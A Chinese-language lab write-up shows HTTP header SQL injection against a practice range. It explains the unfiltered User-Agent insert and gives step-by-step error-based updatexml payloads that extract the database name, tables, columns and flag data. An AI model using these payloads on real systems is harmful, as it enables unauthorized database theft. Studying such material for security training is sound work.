一般获取头部的信息用于数据分析,但是通过请求头部也可以向数据库发送查询信息,通过构造恶意语句可以对数据库进行信息查询。
例一个网页的请求如下:
OST /Pass-07/index.php HTTP/1.1
Host: injectx1.lab.aqlab.cn:81
Content-Length: 56
Cache-Control: max-age=0
Origin: http://injectx1.lab.aqlab.cn:81
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent:' or updatexml(1,concat(0x7e,database(),0x7e),1),1)# Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://injectx1.lab.aqlab.cn:81/Pass-07/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
username=admin&password=123456&submit=%E7%99%BB%E5%BD%95
这里看起来很正常,但是看到HTTP协议的User-Agent头部为【’ or updatexml(1,concat(0x7e,database(),0x7e),1),1)# Mozilla/5.0 (Windows NT 10.0; Win64; x64)】,其中’ or updatexml(1,concat(0x7e,database(),0x7e),1),1)#是不正常的,可能是攻击者正在注入攻击。
这里的攻击是通过报错注入查询数据库名,从而对数据库的信息进行深度剖析。
其中’ or updatexml(1,concat(0x7e,database(),0x7e),1),1)#中的#号在数据库中作为注释符号,它的源代码如下:
$uagent = $_SERVER['HTTP_USER_AGENT'];
INSERT INTO uagent (‘uagent’,‘username’) VALUES ('$uagent','$uname');
注入后产生的代码如下:
INSERT INTO uagent (‘uagent’,‘username’) VALUES ('' or updatexml(1,concat(0x7e,database(),0x7e),1),1)#','$uname');
此时#号后面的都被注释掉了,通过制造报错信息,最后将查询的信息显示出来。
能够对请求头消息进行修改,
修改的请求头信息能够带入数据库的查询
数据库没有对输入的请求信息做过滤
对http://injectx1.lab.aqlab.cn:81/ 靶场的pass-08-10进行head头部注入,获得flag
环境:靶场
1).开启代理模式,使用用户:admin;密码:123456进行登录,使用burp抓包
2).使用’or sleep(5),1)#判断注入点;响应时间为5秒,确认注入点。
3).使用报错注入爆数据库名:head_error
参考文章:https://blog.csdn.net/zjdda/article/details/106243478
User-Agent:’ or updatexml(1,concat(0x7e,database(),0x7e),1),1)# Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
4).爆表名:flag_head;ip;refer;uagent;user
User-Agent:’ or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘head_error’),0x7e),1),1)# Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130
5).爆字段:Id;flag_h1
User-Agent:’ or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=‘head_error’ and table_name=‘flag_head’),0x7e),1),1)# Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130
6).爆数据:1:zKaQ-YourHd;2:zKaQ-Refer;3:zK
User-Agent:’ or updatexml(1,concat(0x7e,(select group_concat(Id,0x3a,flag_h1) from head_error.flag_head),0x7e),1),1)# Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36
1.和-08一样,进行抓包
2.使用’or sleep(5),1)#判断注入点;响应时间为5秒,确认注入点。
3.确认注入点后开始和-8相同的命令进行注
爆库名:
爆表名
报字段
报数据
与之前的一样,查看源码,然后判断注入点
如下:因为以上的请求头部不存在,则手动添加进行测试(如果不能看源码,则一个个手动进行测试,添加请求头)
确定注入点,同0-8,0-9步骤开始注入
爆库:’ or updatexml(1,concat(0x7e,database(),0x7e),1),1)#
报表:’ or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘head_error’),0x7e),1),1)#
爆字段:’ or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=‘head_error’ and table_name=‘flag_head’),0x7e),1),1)#
爆数据:’ or updatexml(1,concat(0x7e,(select group_concat(Id,0x3a,flag_h1) from head_error.flag_head),0x7e),1),1)#